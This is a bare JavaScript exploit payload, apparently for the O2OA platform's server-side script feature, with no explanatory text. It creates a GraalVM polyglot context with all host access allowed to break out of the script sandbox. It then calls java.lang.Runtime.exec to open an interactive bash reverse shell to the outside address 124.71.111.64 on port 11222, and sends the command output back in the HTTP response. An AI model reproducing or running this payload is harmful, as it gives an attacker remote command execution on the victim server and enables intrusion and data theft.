o2oa

(function() {
    var Polyglot = Java.type('org.graalvm.polyglot.Context');

    var context = Polyglot.newBuilder()
                          .allowAllAccess(true)
                          .build();
    var result = context.eval('js', `
        var Runtime = Java.type('java.lang.Runtime');
        var BufferedReader = Java.type('java.io.BufferedReader');
        var InputStreamReader = Java.type('java.io.InputStreamReader');        
        var runtime = Runtime.getRuntime();
        var process = runtime.exec(["/bin/bash", "-c", "bash -i >& /dev/tcp/124.71.111.64/11222 0>&1"]);        
        var reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        var line;
        var output = ""; 
        while ((line = reader.readLine()) !== null) {
            output += line + "\\n"; 
        }     
        process.waitFor();
        output; 
    `);
    var responseResult = {
        "Result": result
    }; 
    this.response.setBody(responseResult, "application/json");
})();